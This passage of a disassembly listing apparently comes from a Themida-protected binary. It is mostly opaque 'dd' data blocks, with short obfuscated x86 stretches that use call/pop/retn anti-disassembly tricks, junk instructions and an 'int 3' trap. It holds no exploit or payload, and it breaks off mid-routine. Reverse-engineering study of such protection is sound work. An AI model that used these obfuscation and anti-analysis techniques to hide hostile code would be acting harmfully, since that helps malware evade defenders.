dd 916F9890h, 89937217h, 0A8146D95h, 0FD82B07h, 18E88h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h
dd 0C3514100h, 0B99B098Eh, 7, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 5BC35545h, 5E982h, 164A0000h
dd 83473C34h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 8BE7FEC3h, 0A80BB9BDh, 0FD93B07h
dd 11686h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 13E92A9Ah, 6000000h, 0C5912D1Eh
dd 0B4C8AD15h, 72E0AA49h, 0D6748776h, 8C6698E4h, 50006AD9h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0CD1E267Ah, 1EB2130Fh, 29571C21h, 0A8310D9Dh, 0B5895F07h
dd 7A82E39h, 0F04C1F6h, 9A84h, 0B9952900h, 8107A832h, 6F88E3CEh
dd 5195FF5Ch, 907A826h, 0A82955B5h, 6A5B07h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B17CCDC3h
dd 0E585891Ah, 2B07A82Dh, 56006AC3h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 36E8B32Bh
dd 9A0FDEB5h, 8B669F6Ch, 0FB8B66FBh, 8343Dh, 24860F00h
dd 60000000h, 0AD9D8BF9h, 6107A808h, 1EE9h, 11E900h, 9EF80000h
dd 0ADF3B73Dh, 9D5D6186h, 0F76359D9h, 8BEE24AEh, 0D9B589C0h
; ---------------------------------------------------------------------------
and al, 0A8h
pop es
loc_5C0ED7: ; CODE XREF: Themida_:loc_5C0A87j
mov eax, ebx
mov ebx, eax
pusha
add ecx, [ebp+7A82A85h]
mov edx, ecx
popa
mov dword ptr [ebp+7A82361h], 119B473Fh
mov esi, 5A1C075h
cmc
mov eax, eax
cmp dword ptr [ebp+7A80B5Dh], 7D0h
jnz loc_5C0F3C
mov si, 198Ah
mov [ebp+7A827B9h], ebx
inc dword ptr [ebp+7A80B5Dh]
push 0
push eax
call sub_5C0F22
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0F22 proc near ; CODE XREF: Themida_:005C0F1Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C0F22 endp
; ---------------------------------------------------------------------------
dw 0D7F9h
dd 43A69B40h, 6892DE0Eh
; ---------------------------------------------------------------------------
loc_5C0F3C: ; CODE XREF: Themida_:005C0F01j
push dword ptr [ebp+7A80B5Dh]
push 0
push edi
call sub_5C0F4D
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0F4D proc near ; CODE XREF: Themida_:005C0F45p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C0F4D endp
; ---------------------------------------------------------------------------
db 24h, 0BAh, 86h
dd 83258570h, 1449B58Bh, 95FF07A8h, 7A80D21h, 0FE8h, 8DC89C00h
dd 0FDE634F0h, 6C48EE7Ah, 0E298AD65h, 12E8h, 92765700h
dd 70F458B0h, 0B43AC883h, 57A32A73h, 8BD6022Ch, 0A81945B5h
dd 905E5E07h, 6AF28Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 879C07C3h, 6D05FB0Ah, 91B58B57h
dd 5E07A819h, 7E8h, 8DBAF500h, 0D97379DAh, 0C53B28BEh
dd 95095F75h, 7A82549h, 8BD78166h, 5E8E4h, 0FE210000h
dd 297B00CFh, 0A82A25B5h, 13E85F07h, 1D000000h, 1C40C24Bh
dd 0F7A30A5Fh, 3A468D6Eh, 9B5A6402h, 15E27D0h, 0A834018Dh
dd 0BD8B5607h, 7A82851h, 52006A5Eh, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 587E1EB9h, 6C004A02h
dd 0B58B8BDDh, 7A804ADh, 8BF2B70Fh, 0A81D5DB5h, 89F78B07h
dd 0A82C61B5h, 12E807h, 0C2F10000h, 1EA03EDEh, 0D01DF5C7h
dd 0E9D84269h, 0DE525D54h, 1E69BD8Bh, 858907A8h, 7A821FDh
dd 6770BE5Fh, 6A59B2h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0ECF0D5C3h, 10810F50h, 0E8000000h
dd 0Ah, 60074013h, 51130426h, 5E5FFFEAh, 0FFF7E2E9h, 519D89FFh
dd 3107A80Bh, 0A8284DB5h, 89C18B07h, 0A82DC585h, 4EB07h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 3A4AC350h, 0AC96643Eh, 2DB58B82h
dd 0E807A82Eh, 5, 0A9F794A2h, 858D5E40h, 7A80425h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B4C35646h, 0F8680EA5h
dd 0E478C43Ah, 880F5090h, 0Bh, 8B665250h, 51310FF7h, 90585A5Fh
dd 9D58529h, 830F07A8h, 0
; ---------------------------------------------------------------------------
push 0
push 0
push edx
call sub_5C1169
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1169 proc near ; CODE XREF: Themida_:005C1161p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5C1169 endp
; ---------------------------------------------------------------------------
add al, 0BEh
xor ebp, [esi]
jbe short loc_5C119C
push 0
or di, 0EF9Dh
lea eax, [ebp+7ABFE47h]
push 0
push ebp
call sub_5C1197
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1197 proc near ; CODE XREF: Themida_:005C118Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
loc_5C119C: ; CODE XREF: Themida_:005C117Dj
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5C1197 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F8h
dd 679D0B55h, 0CF8CAD11h, 5C0834Eh, 41D0BBBEh, 0AE8903Fh
dd 84000000h, 0AFEC00CAh, 179E521Dh, 52505199h, 585A310Fh
dd 50505E5Eh, 0F88B6652h, 0BF66310Fh, 585ACE94h, 52006A90h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 839E26FAh, 33683F5Eh, 6AF18BA1h, 0C8BF6600h, 8B006A3Ch
dd 3995FFF0h, 6607A81Bh, 3CC5E781h, 9A3B9D8Dh, 6A07ABh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 42D2A3C3h, 9E873h, 31C0000h, 23DDD4E7h, 8B0EF302h, 0A82471BDh
dd 0D3FF5E07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0B4C35343h, 0FF186E68h, 0A80EE585h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 12E9C7h, 95C40000h, 6115A1A7h, 7A24BA52h, 1F130A2Fh
dd 0C58FF803h, 855E9h, 0E800h, 815D0000h, 0ABFE51EDh, 75BD3307h
dd 8107A828h, 0A80B5DBDh, 7D007h, 76860F00h, 6A000001h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 8B85C352h, 0EF3886B2h, 89EEF56Eh, 0A82D499Dh
dd 519D8B07h, 6A07A813h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 815DC350h, 100E3h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 40F87EBEh, 13B5BDB2h, 267D8D01h, 0DB0B07A8h
dd 9F850Fh, 8D890000h, 7A81DEDh, 0FC72BD83h, 0F0007ABh
dd 2D84h, 19BD8900h, 0E907A81Bh, 90h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 49C35343h, 27B1BD8Bh, 85C707A8h
dd 7ABFC72h, 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 79C35141h, 0CDBD89EEh, 6007A826h, 0BD8BF38Bh, 7A831D9h
dd 0E1952961h, 0E907A81Ah, 2Ch, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0AC35242h, 7285C763h, 7ABFCh
dd 66000000h, 0FCB1C781h, 13519D8Dh, 0B58B07A8h, 7A82ACDh
dd 0FEFF2381h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0A0CEA7C3h, 0EE9FD0Eh, 5A000000h
dd 12AF5BBEh, 90435020h, 0B6DA88F4h, 0DB8C6646h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4BC35141h, 56B3996Eh
dd 4C3F60Ah, 1A840Fh, 0BF660000h, 95FF2DAFh, 7A82651h
dd 0ED89E781h, 89501FC6h, 0B58B2404h, 7A8155Dh, 47AE9h
dd 0B0F800h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 49C35343h, 52F3A68Bh, 0E68DB984h, 71E4F970h, 658D3153h
dd 5E07A828h, 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 3F96C356h, 0A02F7090h
dd 14E9C6D9h, 0C3000000h, 0EC1869D6h, 0B222F7E7h, 0EE410557h
dd 0BA3FA0A5h, 0BA14460Fh, 6, 6AC38Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 548F81C3h
dd 89F77CABh, 0A828F98Dh, 4E8C107h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 8DC35646h, 66F82C60h, 44BFE2F7h
dd 2B61C27Ch, 0E1C781D8h, 937D142Eh, 0C4ACBF66h, 0B8666050h
dd 52501C4Bh, 5250310Fh, 585A310Fh, 9361585Ah, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 93C35747h, 0C7F88B9Bh
dd 0F7819B3Fh, 214959EDh, 0B5DB5FFh, 0F95707A8h, 2195FF5Eh
dd 6A07A80Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 51A2C352h, 763AD26Bh, 6A00B0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 13E8F3C3h, 15000000h, 0F08240A8h, 1DD274F3h, 6F6A3657h
dd 711C1213h, 0F88B9851h, 800F575Fh, 6, 349D9529h, 0E65F07A8h
dd 12E870h, 47620000h, 0E683A65Bh, 13F65802h, 1CD4284Bh
dd 58FB5F93h, 38E0Fh, 0BF0F0000h, 71E45FFAh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0B6C35646h, 58401E43h
dd 2D1D6024h, 4BBF664Eh, 0F613C69h, 29A83h, 0BF666000h
dd 0FB8B17BDh, 0D8B60F61h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0EBC35141h, 8A81CE76h, 0E9831CE4h, 5
dd 9807E8EAh, 6BA5Ch, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0BD8BCCC3h, 7A804E1h
dd 0CE9h, 0C27EC800h, 5D7AC2B5h, 0B0400628h, 6AC38B06h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 5FE9C350h, 68F0Fh, 85090000h, 7A826A1h, 6A04E8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0F856C352h, 81E2F766h, 0BC4FA4DEh, 6AD82B76h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 76CDC355h, 81662BA8h, 58872FD6h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 29C35747h, 219D899Fh
dd 2B07A82Ah, 84880FD8h, 6A000001h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0B995C353h
dd 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah
dd 1FC35646h, 456347FAh, 840FF8ADh, 6, 14D5BD8Bh, 852907A8h
dd 7A821EDh, 6A00C183h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 0DD21C356h, 0B58B632Eh
dd 7A81585h, 860FD93Bh, 0FFh, 0FE8h, 0F0CE7700h, 2DDC1C0Fh
dd 5AEBE3B7h, 0E989AA78h, 6840Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
pop edi
mov cx, ds
movzx esi, cx
test cl, 4
jz loc_5C190B
mov edi, [ebp+7A83049h]
call dword ptr [ebp+7A82651h]
push 0
push ebp
call sub_5C185B
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C185B proc near ; CODE XREF: Themida_:005C1853p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5C185B endp
; ---------------------------------------------------------------------------
db 0EAh
dd 0ED08F60Fh, 6A5B95h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0A681D2C3h, 10D1B58Bh, 0C32B07A8h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5FC35646h
dd 22FECA22h, 8343Dh, 48860F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7BE5C355h
dd 2CE988D8h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0C2ABC351h, 4B3E0B60h
db 0B5h, 8Bh, 0F0h
; ---------------------------------------------------------------------------
loc_5C190B: ; CODE XREF: Themida_:005C183Ej
mov eax, eax
mov esi, [ebp+7A8356Dh]
mov eax, ebx
mov ebx, eax
push 0
push edi
call sub_5C1922
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C1922 proc near ; CODE XREF: Themida_:005C191Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5C1922 endp
; ---------------------------------------------------------------------------
xor eax, 942126E7h
int 3 ; Trap to Debugger
push ecx
mov edi, [ebp+7A80E65h]
pop esi
mov dword ptr [ebp+7A80501h], 76B5A193h
mov di, 593Dh
mov eax, eax
push edi
jmp loc_5C196A
; ---------------------------------------------------------------------------
dw 0EE6Fh
; ---------------------------------------------------------------------------
sub ecx, [eax-5Dh]
lodsd
mov dh, 77h
ficomp dword ptr [ebx-0A370BB0h]
sbb [eax+13CEB84Dh], ch
loc_5C196A: ; CODE XREF: Themida_:005C1951j
pop edi
cmp dword ptr [ebp+7A80B5Dh], 7D0h
jnz loc_5C1983
inc dword ptr [ebp+7A80B5Dh]
mov esi, edi
loc_5C1983: ; CODE XREF: Themida_:005C1975j
push dword ptr [ebp+7A80B5Dh]
pusha
jbe loc_5C1996
jns $+6
loc_5C1996: ; CODE XREF: Themida_:005C198Aj
and eax, [ebp+7A823CDh]
popa
call dword ptr [ebp+7A80D21h]
push 0
push ecx
call sub_5C19AE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C19AE proc near ; CODE XREF: Themida_:005C19A6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C19AE endp
; ---------------------------------------------------------------------------
dw 479h
dd 860FC8ACh, 0
db 90h
db 89h, 85h, 3Dh
dd 8B07A826h, 8E8F2h, 658C0000h, 5AD24B8Dh, 13E8DA39h
dd 23000000h, 0C025B075h, 0E4C098ABh, 82DD2DD2h, 0EC430C2Bh
dd 0B58B9560h, 7A83095h, 80605F5Eh, 5A5642D0h, 8E9h, 6A4F8600h
dd 33A2E91Eh, 11E961E3h, 0D6000000h, 2DC1A3FCh, 7AE3388Ah
dd 0C6F00F94h, 0CE5DD816h, 315B58Bh, 0DE807A8h, 58000000h
dd 3AD5E69Ch, 7795D43Fh, 0B6F09F73h, 50006A5Fh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 8BBD4696h
dd 0BDB58BF9h, 907A808h, 0A83269BDh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 32DB08Dh, 0D7C2C046h
dd 0E7EE81E3h, 0E84324DBh, 13h, 57657EF5h, 0A244A0Eh, 95A6D57Ah
dd 61A9A6D1h, 8B5ED61Eh, 0A80341BDh, 95895E07h, 7A807C5h
dd 5E8h, 1216B000h, 810F4821h, 6, 3559D29h, 8B5E07A8h
dd 0A8183DB5h, 0F7D7E907h, 6AFFFFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D894EC3h
dd 7A80DE5h, 89F78B66h, 0A804FDBDh, 0C18BFC07h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 97C35343h, 248B9729h
dd 0EB782235h, 4, 0FE900h, 0B14B0000h, 656A048Fh, 68A3159Bh
dd 986B6737h, 52006A80h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 25858DDEh, 0F07A804h, 58Fh, 3A54BF00h
dd 0F9068DBh, 8Fh, 60575000h, 5E525856h, 89905F61h, 0A81CC5BDh
dd 60006A07h, 3339BD29h, 858907A8h, 7A80521h, 6A006A61h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0D34DC352h, 976D0DB6h, 2AA9BD8Bh, 858D07A8h
dd 7AC0824h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 4EC35242h, 0CF9A58A6h, 94F54CECh, 66FEBF0Fh, 83840DBEh
dd 858905C0h, 7A80A49h, 11E850h, 9EE50000h, 57404380h
dd 8E82BEC3h, 8F8592FDh, 8BFEEF88h, 4895EF1h, 0EEDE8124h
dd 6A5C0127h, 6AFC00h, 2F5D8D89h, 95FF07A8h, 7A81B39h
dd 2F35BD8Bh, 9D8D07A8h, 7AB9A3Bh, 0FFF2BF0Fh, 0CE9D3h
dd 20520000h, 63BA2B90h, 0E529954Eh, 85FF1949h, 7A80EE5h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 63C35343h
dd 4F7B62B9h, 10C54A09h, 6810F17h, 89000000h, 0A810F9B5h
dd 8B3E907h, 0E80000h, 5D000000h, 82EED81h, 6A07ACh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0BFCA8DC3h, 0BE98B72h, 57000000h, 0B9399B49h, 3CDCFD68h
dd 0F18B7C2Fh, 0B5DBD81h, 7D007A8h, 860F0000h, 0F7h, 0E0ABB0BEh
dd 759D8B43h, 8907A815h, 0A8182DBDh, 0E38107h, 0BF000001h
dd 3F91B79Dh, 850FDB0Bh, 53h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 0B5C35040h, 6C8BD83h, 0F0007ACh
dd 0B84h, 0F6B70F00h, 52E9h, 0F2B70F00h, 6C885C7h, 107ACh
dd 0BD310000h, 7A81C91h, 3AE9h, 5E900h, 0A1AF0000h, 0C76B4F8Dh
dd 0AC06C885h, 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0C684A114h, 1DE681B2h
dd 8D617217h, 0A815759Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0B4545A0Fh
dd 0FF238165h, 6AFFFFFEh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0D33AC355h, 8166E075h
dd 66E175E7h, 0F52DB8Ch, 0F65FF7BFh, 840F04C3h, 54h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CAC35343h, 0E34262D6h
dd 95FF9144h, 7A82651h, 2D69B58Bh, 509007A8h, 5B566052h
dd 0F615A56h, 5AFA8B31h, 0AE95058h, 0BA000000h, 24283B3Dh
dd 5C7405F0h, 0B501905Bh, 7A82351h, 485E9h, 0F0B70F00h
dd 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 25C7CEC3h, 6EA3F34Dh, 70E64C21h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C7C35343h, 0EEF1A1ABh
dd 0FF46B815h, 24D99589h, 0B70F07A8h, 6A71E4F9h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 16C2C352h, 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 5F81C357h, 7428EBD9h
dd 0B1064BF1h, 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 886B377Ch, 0FA2A381Bh
dd 0C38BF5A4h, 658D8B60h, 6007A828h, 7E9F8h, 5EAC0000h
dd 12140152h, 0C1616127h, 6A04E8h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0A25AB5C3h, 0F7668146h
dd 50006AE2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 7D91F5B3h, 0BE9F9h, 8B800000h, 0E47FDBEFh
dd 2FD0B3B3h, 6AD82B00h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 4D99C353h, 0D985299Fh
dd 9307A825h, 6A9350h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0FBF431C3h, 0FF7461DFh, 0A80B5DB5h
dd 0A9958907h, 0FF07A82Fh, 0A80D2195h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 45C7AE78h, 60184759h, 0BE956h, 74C0000h, 8D39F0Ch, 3AD078A0h
dd 95BE586Ch, 612A9922h, 6A00B0h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 180F2CC3h, 8B608CA2h
dd 0A8198D8Dh, 61CF8B07h, 0BD8B70E6h, 7A81889h, 6A71E4h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 8FD7CC3h, 0C3D722BAh, 8B0DB33Eh, 0A8189DBDh, 0F1BE6607h
dd 0F613C78h, 24983h, 0DF816600h, 0BD8B68BFh, 7A80AC9h
dd 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0F063C356h, 18A24CAh, 0A80B2995h
dd 6BA07h, 0DE810000h, 160E5913h, 6AC38Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 16A50CC3h
dd 6809BE3Dh, 23BF7CDBh, 0C12A81BBh, 6A04E8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0A5A197C3h
dd 6860FA9h, 81000000h, 545C88D7h, 0FF86037h, 81h, 0F7666100h
dd 9D8956E2h, 7A809C5h, 2DBD295Fh, 2B07A804h, 570ABED8h
dd 895842B7h, 0A825798Dh, 0FD82B07h, 18188h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 53D1D8DAh, 81827505h, 63B9C1F7h, 7B977h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0EE4E1AC3h, 0B58B4AD4h, 7A82D95h, 918D8957h, 5F07A818h
dd 6A00C183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 8863C351h, 0E969D463h, 0Bh, 0DAAED532h
dd 6B20F3DCh, 3B916E13h, 0EB860FD9h, 8B000000h, 0A805B9B5h
dd 0D98C6607h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 53C35242h, 0AA5F7CD3h, 4C1F626h, 8B840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0E87D26C3h, 1B3EDB50h, 0FE946h, 18D90000h, 8930CB3Ch
dd 3D1890D7h, 80547641h, 9DB50B59h, 0FF07A834h, 0A8265195h
dd 51BD8B07h, 5B07A818h, 21FDB589h, 0C32B07A8h, 25F18589h
dd 343D07A8h, 0F000008h, 2886h, 0E95E5200h, 4Eh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4AC35141h, 0CC9BF27h
dd 6AC08B19h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0F7E0C353h, 98F7FD25h, 5BDF956Ch
dd 2DDD8509h, 0C38B07A8h, 6AD88Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0F58A48C3h, 7380EEE2h
dd 85C7F38Bh, 7A81351h, 58642799h, 4830Fh, 0BF660000h
dd 0C08B22B2h, 7E8h, 0C7359300h, 0F253C812h, 2D358589h
dd 815F07A8h, 0A80B5DBDh, 7D007h, 56850F00h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 48C3C353h, 4FB320ABh, 0BC7E9A31h, 0B5D85FFh
dd 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
dd 55450000h, 0FB6F02C3h, 7E9C8h, 5B560000h, 0C6B89507h
dd 5DB5FFAEh, 6A07A80Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 0E8EAC355h, 7, 0D0B5E888h
dd 0E92BD531h, 9, 0D287342Fh, 286E785Eh, 8B605FE1h, 0A8174D9Dh
dd 14E907h, 203C0000h, 7E6A2F5Ah, 5C97A40Ch, 64E0ACh, 0C3AD1E86h
dd 0FF61FB0Ch, 0A80D2195h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0ED0F271Ah
dd 6A90B442h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0E918C356h, 56006A94h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F0735A8Ch
dd 4A200C3Ah, 659501A6h, 8107A800h, 1ADFBFC6h, 50006A60h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 0DD625378h, 56538C51h, 2A2DB589h, 6AFC07A8h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 2F71C356h, 0B1F4579Bh, 0FABF0FE2h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 7BC35040h, 0E73F0334h, 0C2A45910h
dd 49BD8B53h, 8907A826h, 0A804D1BDh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 886214D1h
dd 8F0FB5E8h, 6, 17099589h, 0FE907A8h, 0A1000000h, 210B7902h
dd 13267987h, 80BB3E7Bh, 85899E86h, 7A80BC5h, 0FFF775E9h
dd 0F88B66FFh, 2D599D89h, 13E807A8h, 84000000h, 0A6BE7F55h
dd 4E7CD448h, 5D826738h, 76E6EFE0h, 0B58B1993h, 7A81491h
dd 6AC18B5Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 840C356h, 0EB412687h, 104h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 5E098BEAh, 465BD29h, 8C0F07A8h, 6, 0B7DBD03h, 858D07A8h
dd 7A80425h, 9BC6BE66h, 0D68B6050h, 0F3BF6653h, 896159C1h
dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 0E19663C3h, 820F006Ah, 2, 6AF18Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A5C35141h, 89F33E03h
dd 0A80B4D95h, 0E5858D07h, 6A07AC12h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0ED6BC353h
dd 0FC238F26h, 6A05C083h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 1A8C350h, 1A03E192h
dd 1B58BC9h, 9007A82Eh, 0E850F38Bh, 10h, 8DC8977h, 7DA0B303h
dd 0F9B9D8B2h, 0CF2B8381h, 6870Fh, 8C0F0000h, 0
; ---------------------------------------------------------------------------
pop esi
nop
push 0
push edi
call sub_5C2689
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2689 proc near ; CODE XREF: Themida_:005C2681p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5C2689 endp
; ---------------------------------------------------------------------------
aad 56h
push esp
mov al, ds:6A941A54h
add [edx+0], ch
push edx
call sub_5C26AD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C26AD proc near ; CODE XREF: Themida_:005C26A5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
